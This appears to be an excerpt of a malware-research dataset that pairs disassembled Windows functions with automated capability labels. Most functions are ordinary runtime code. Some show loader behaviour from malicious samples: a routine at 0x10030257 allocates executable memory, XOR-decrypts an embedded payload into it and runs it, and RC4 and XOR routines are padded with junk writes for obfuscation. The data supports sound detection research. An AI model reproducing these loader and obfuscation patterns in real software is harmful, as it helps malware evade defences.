joyce8/EMBER2024-capa huggingface dataset:
Function at 0x59c564
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5b9d60]
jne 0x59c56e
repz ret
jmp fcn.005a3abc

Function at 0x5a7a0b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0059ad06
and dword [ebp - 4], 0
cmp dword [0x5bbb28], 0
mov ebx, eax
jne 0x5a7abc
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x5a7b6d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x5a7b6d
push eax
call fcn.0059ac94
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x5bbb28], eax
call esi
push eax
call fcn.0059ac94
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x5bbb2c], eax
call esi
push eax
call fcn.0059ac94
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x5bbb30], eax
call esi
push eax
call fcn.0059ac94
pop ecx
mov dword [0x5bbb38], eax
test eax, eax
je 0x5a7abc
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0059ac94
pop ecx
mov dword [0x5bbb34], eax
mov eax, dword [0x5bbb34]
cmp eax, ebx
je 0x5a7b14
cmp dword [0x5bbb38], ebx
je 0x5a7b14
push eax
call fcn.0059ad0f
push dword [0x5bbb38]
mov esi, eax
call fcn.0059ad0f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x5a7b14
test edi, edi
je 0x5a7b14
call esi
test eax, eax
je 0x5a7b0b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x5a7b0b
test byte [ebp - 0xc], 1
jne 0x5a7b14
or dword [ebp + 0x10], 0x200000
jmp 0x5a7b4d
mov eax, dword [0x5bbb2c]
cmp eax, ebx
je 0x5a7b4d
push eax
call fcn.0059ad0f
pop ecx
test eax, eax
je 0x5a7b4d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x5a7b4d
mov eax, dword [0x5bbb30]
cmp eax, ebx
je 0x5a7b4d
push eax
call fcn.0059ad0f
pop ecx
test eax, eax
je 0x5a7b4d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x5bbb28]
call fcn.0059ad0f
pop ecx
test eax, eax
je 0x5a7b6d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x5a7b6f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x5ab6d0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x5b92e4], 0x1b77
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x5b92e4], 0x2042
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x5ab745
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
je 0x5ab78c
mov eax, dword [ebp - 0x1c]
add esp, 0x20
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x1c], eax
je 0x5ab75d
jmp 0x5ab727
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], edx
je 0x5ab710
jmp 0x5ab773
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x1c], eax
je 0x5ab7e9
jmp 0x5ab727
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x5ab745
jmp 0x5ab710
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x1c], eax
jne 0x5ab727
xor eax, eax
mov dword [0x5b92e8], 0x2099
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x1c], eax
jne 0x5ab727
xor eax, eax
mov dword [0x5b92e4], 0xe2e
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x1c], eax
je 0x5ab72f
jmp 0x5ab727
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x5ab727
mov eax, 1
mov dword [0x5b92e8], 0xffffe8fd
mov dword [ebp - 0x1c], eax
jmp 0x5ab727

Function at 0x5ab970
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [fcn.005ab970]
mov dword [ebp - 4], eax
jmp 0x5ab981
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
mov dword [ebp - 8], eax
jne 0x5ab9a5
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x5ab9a5
mov eax, dword [ebp - 8]
add esp, 8
pop ebp
ret
mov eax, dword [ebp - 8]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [ebp - 4], eax
jmp 0x5ab981
Function at 0x5ab9c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x5b92f0], 0
mov byte [0x5b92f4], 0
mov dword [0x5b92ec], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [0x5b92e4], 0x2469
mov eax, dword [0x5b92ec]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x5b92ec]
add eax, 1
mov dword [0x5b92ec], eax
cmp eax, 0x100
jl 0x5ab9f6
mov eax, dword [0x5b92e4]
add eax, 0xffffdfaa
mov dword [0x5b92e4], eax
mov dword [0x5b92ec], 0
mov eax, 0x100
mov dword [0x5b92f8], 0
mov dword [0x5b92e8], 0x1383
mov ecx, dword [0x5b92f0]
mov edx, dword [0x5b92ec]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + edx]
add edi, ecx
mov dword [ebp - 0x1c], eax
mov eax, edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
div ecx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x5b92f8], edi
mov dword [0x5b92e4], 0x126c
mov eax, edi
cdq
mov edi, dword [ebp - 0x1c]
idiv edi
mov dword [0x5b92f0], edx
mov ecx, dword [0x5b92ec]
mov bl, byte [esi + ecx]
mov byte [0x5b92f4], bl
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x5b92f4]
mov ecx, dword [0x5b92f0]
mov byte [esi + ecx], bl
mov ecx, dword [0x5b92ec]
add ecx, 1
mov dword [0x5b92ec], ecx
cmp ecx, 0x100
jl 0x5aba3e
mov dword [0x5b92e4], 0x2f7
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x5abbd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x68
mov eax, dword [ebp + 8]
mov dword [0x5b92e4], 0x13ff
mov dword [ebp - 0x30], eax
call fcn.005ab820
xor ecx, ecx
mov dword [0x5b92e4], 0x1376
mov edx, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ecx
jmp 0x5abc93
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x44]
lea edx, section..data
imul esi, ecx, 0x5c
mov edi, edx
add edi, esi
add edi, 0x58
imul esi, ecx, 0x5c
mov ebx, edx
add ebx, esi
add ebx, 0x28
imul esi, ecx, 0x5c
add edx, esi
add edx, 0x18
add ecx, 1
mov esi, dword [ebp - 0x48]
add esi, eax
mov edi, dword [edi]
mov edx, dword [edx]
movzx ebx, word [ebx]
xor ebx, edi
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ebx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ecx
call fcn.005abfe0
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
add eax, ecx
mov edx, dword [ebp - 0x54]
cmp edx, 0x16c
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
je 0x5abd72
jmp 0x5abc0a
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
lea edx, section..data
imul esi, ecx, 0x5c
mov edi, edx
add edi, esi
add edi, 0x28
imul esi, ecx, 0x5c
add edx, esi
add edx, 0x58
add ecx, 1
mov edx, dword [edx]
movzx esi, word [edi]
xor esi, edx
add esi, eax
cmp ecx, 0x16c
mov eax, esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jne 0x5abc93
lea eax, [0x5ad4f9]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov esi, dword [0x5b92e4]
add esi, 0xffffed1e
mov dword [0x5b92e8], esi
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x60], ecx
call fcn.005ab180
mov dword [0x5b92e4], 0x1bce
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call fcn.005ac0b0
mov ecx, eax
mov dword [0x5b9300], eax
mov eax, esp
mov edx, dword [ebp - 0x58]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov dword [0x5b92e4], 0x15ce
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
jmp 0x5abc0a
mov eax, dword [ebp - 0x48]
add eax, 0x40113
mov ecx, dword [ebp - 0x48]
mov dword [esp], ecx
mov dword [esp + 4], ecx
mov edx, dword [ebp - 0x58]
mov dword [esp + 8], edx
mov dword [ebp - 0x64], eax
call fcn.005ab0f0
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x350db
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x64]
mov dword [edx], esi
mov dword [edx + 4], 0x152000
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x20a0
mov dword [0x5b92e4], 0x7f9
add esp, 0x68
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000da09
Capabilities:
Query environment variable

Disassembly:
push esi
push edi
mov edi, 0x1008f4c8
push edi
call sym.glib_lite.dll_Ordinal_235
xor esi, esi
inc esi
pop ecx
test eax, eax
je 0x1000da44
push str.G_MAIN_POLL_DEBUG
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov ecx, dword [0x1008f4a8]
test eax, eax
push esi
cmovne ecx, esi
push edi
mov dword [0x1008f4a8], ecx
call sym.glib_lite.dll_Ordinal_236
add esp, 0xc
push ebx
push 0x70
push esi
call sym.glib_lite.dll_Ordinal_196
mov edi, eax
push edi
call sym.glib_lite.dll_Ordinal_207
lea ecx, [edi + 8]
push ecx
call sym.glib_lite.dll_Ordinal_48
xor ebx, ebx
push ebx
push ebx
call sym.glib_lite.dll_Ordinal_124
mov dword [edi + 0x24], eax
mov dword [edi + 0x14], ebx
mov dword [edi + 0x1c], ebx
mov dword [edi + 0x20], esi
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], ebx
mov dword [edi + 0x5c], 0x1001bb93
mov dword [edi + 0x44], ebx
mov dword [edi + 0x48], ebx
call fcn.10001640
mov dword [edi + 0x28], eax
mov dword [edi + 0x68], ebx
call fcn.1001bf14
lea esi, [edi + 0x50]
mov dword [edi + 0x4c], eax
push esi
push eax
call fcn.1001bf00
push esi
push ebx
push edi
call fcn.1000d57e
mov esi, 0x1008f4bc
push esi
call sym.glib_lite.dll_Ordinal_208
push edi
push dword [0x1008f4c4]
call sym.glib_lite.dll_Ordinal_318
add esp, 0x38
mov dword [0x1008f4c4], eax
cmp dword [0x1008f4a8], 0
pop ebx
je 0x1000dae1
push edi
push str.created_context_p_n
call fcn.10030257
pop ecx
pop ecx
push esi
call sym.glib_lite.dll_Ordinal_209
pop ecx
mov eax, edi
pop edi
pop esi
ret

Function at 0x1000f2a1
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x1008f304]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
lea eax, [ebp - 0x80]
xor esi, esi
push eax
push dword [ebp + 0x19c]
mov dword [ebp - 0x80], esi
push esi
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
jne 0x1000f303
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x1000f2fa
push esi
push esi
push esi
lea eax, [ebp - 0x7c]
push 0xffffffffffffffff
push eax
call sym.glib_lite.dll_Ordinal_433
add esp, 0x14
mov esi, eax
push dword [ebp - 0x80]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1003c212
add ebp, 0x194
leave
ret
Function at 0x10010879
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1040
call fcn.1003c310
mov eax, dword [0x1008f304]
xor eax, esp
mov dword [esp + 0x103c], eax
and dword [esp], 0
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0x1048]
push edi
mov edi, dword [esp + 0x1058]
push eax
push dword [esp + 0x1054]
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__fstat64]
pop ecx
pop ecx
test eax, eax
jns 0x100108eb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov esi, dword [eax]
push esi
call sym.glib_lite.dll_Ordinal_353
pop ecx
push eax
push esi
call fcn.10002ff5
pop ecx
push eax
call fcn.100030eb
push eax
push edi
call fcn.10030257
add esp, 0x10
xor eax, eax
jmp 0x100109ca
test dword [esp + 0x12], 0x8000
jne 0x10010903
push str.Not_a_regular_file
push 1
call fcn.100102cf
jmp 0x100108da
push ebx
mov bl, byte [esi + 0x14]
push esi
call fcn.10010253
push esi
call fcn.10010717
mov eax, dword [esp + 0x1060]
pop ecx
pop ecx
mov byte [esi + 0x14], bl
mov dword [esi + 0x18], eax
push ebp
push 0x1000
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x1060]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
add esp, 0xc
mov ebp, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, dword [eax]
test ebp, ebp
je 0x10010996
jns 0x10010978
cmp ebx, 4
je 0x1001098c
cmp ebx, 0xb
je 0x1001098c
push ebx
call sym.glib_lite.dll_Ordinal_353
pop ecx
push eax
push ebx
call fcn.10002ff5
pop ecx
push eax
call fcn.100030eb
push eax
push edi
call fcn.10030257
add esp, 0x10
jmp 0x100109c1
lea eax, [esp + 0x10]
push eax
push ebp
lea eax, [esp + 0x54]
push eax
push esi
call fcn.10010c32
add esp, 0x10
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10010923
jmp 0x1001099e
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100109a1
push eax
jmp 0x100109b9
lea eax, [esp + 0x10]
push eax
push esi
call fcn.10030257
cmp dword [esp + 0x18], 0
pop ecx
pop ecx
je 0x100109c5
push dword [esp + 0x10]
push edi
call fcn.10030257
pop ecx
pop ecx
xor eax, eax
jmp 0x100109c8
xor eax, eax
inc eax
pop ebp
pop ebx
mov ecx, dword [esp + 0x1044]
pop edi
pop esi
xor ecx, esp
call fcn.1003c212
add esp, 0x1040
ret
Function at 0x100296d3
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
lea eax, [edi + 0x74]
push eax
xor eax, eax
push eax
push edi
push dword [esp + 0x20]
push eax
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov esi, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
test esi, esi
jne 0x1002971a
push dword [eax]
call sym.glib_lite.dll_Ordinal_353
push eax
push str.Error_creating_thread:__s.
push 0x10
push str.Glib
call sym.glib_lite.dll_Ordinal_182
add esp, 0x14
jmp 0x1002974e
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x1002974e
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.10030257
mov esi, eax
push esi
push str.Error_closing_thread_handle:__s.
push 0x10
push str.Glib
call sym.glib_lite.dll_Ordinal_182
push esi
call sym.glib_lite.dll_Ordinal_105
add esp, 0x18
push 0xffffffffffffffff
push dword [edi + 0x8c]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
pop edi
pop esi
ret

Function at 0x10030257
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10030266
pop dword [ebp - 0x20]
mov eax, 0x10030266
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x7440ecbe
add dword [ebp - 0x30], 0xda11588d
mov dword [ebp - 0x2c], 0x62f773e3
add dword [ebp - 0x2c], 0xcf3bd862
mov dword [ebp - 0x28], 0xfca15d8
add dword [ebp - 0x28], 0x3c822e56
mov dword [ebp - 0x24], 0x588183b
sub dword [ebp - 0x24], 0x588183b
lea eax, [ebp - 0x30]
push eax
mov eax, 0x62726558
sub eax, 0x526e6444
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xb6f576bd
sub dword [ebp - 0x30], 0x42830d67
mov dword [ebp - 0x2c], 0xce113a14
add dword [ebp - 0x2c], 0x735b2761
mov dword [ebp - 0x28], 0x777211ea
sub dword [ebp - 0x28], 0x1402a57e
mov dword [ebp - 0x24], 0xe2889b4f
add dword [ebp - 0x24], 0x1d7764b1
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3d649
push 0
call eax
mov ecx, 0x26352155
sub ecx, 0x2634d0cf
xor edi, edi
add edi, eax
mov ebx, 0x10094a00
add ebx, dword [ebp - 0x20]
mov esi, 0xc546897b
add esi, 0xd86c7d37
mov edx, dword [ebx]
mov dword [ebp - 0x14], 0xe2b4112b
xor edx, esi
mov dword [edi], edx
sub dword [ebp - 0x1c], edx
add edi, 0x5f647beb
add edi, 0xa09b8419
add ebx, 4
loop 0x1003037a
add eax, 0x134eb
xor ebx, ebx
add ebx, eax
add eax, 0x3c6c2daa
add eax, 0xc393d25b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x402888
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x4028b7
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403ab0
jmp 0x4028d5
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402810
mov edi, eax
test ebx, ebx
je 0x4028d5
cmp dword [esi], 0
je 0x4028d5
dec ebx
jmp 0x4028be
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402ba8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402c40
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402c20
xor eax, eax
push ebp
push 0x402c19
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402c5c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402c20
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x404ef8
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4050b4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404f59
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4050d0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404fcb
xor eax, eax
push ebp
push 0x404fc4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00404d50
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404fad
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4050f0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404fcb
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4050ac
cmp byte [ebp - 0xd], 0
jne 0x40500d
cmp byte [ebp - 0x12], 0
je 0x4050ac
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405026
dec ebx
cmp byte [ebx], 0x2e
je 0x405035
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405025
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4050ac
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405062
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4050ac
cmp byte [ebp - 0xd], 0
je 0x4050ac
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4050ac
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409914
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40994d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403ab0
jmp 0x409956
mov eax, ebx
mov edx, esi
call fcn.00403a1c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x409960
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409981
mov al, byte [esp]
jmp 0x409983
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4113a4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FindResourceA
mov edx, dword [ebp - 8]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x4113da
push ebp
call fcn.00411334
pop ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LoadResource
mov edx, dword [ebp - 8]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x14], 0
jne 0x411400
push ebp
call fcn.00411334
pop ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SizeofResource
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
push eax
call sub.kernel32.dll_LockResource
mov edx, eax
mov eax, dword [ebp - 8]
pop ecx
call fcn.00410fc0
mov esp, ebp
pop ebp
ret 4

Function at 0x416840
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x416846
ret

Function at 0x41957c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4195cd
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4195b4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4195a4
jmp 0x4195cd
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4195b5
pop ebx
mov esp, ebp
pop ebp
ret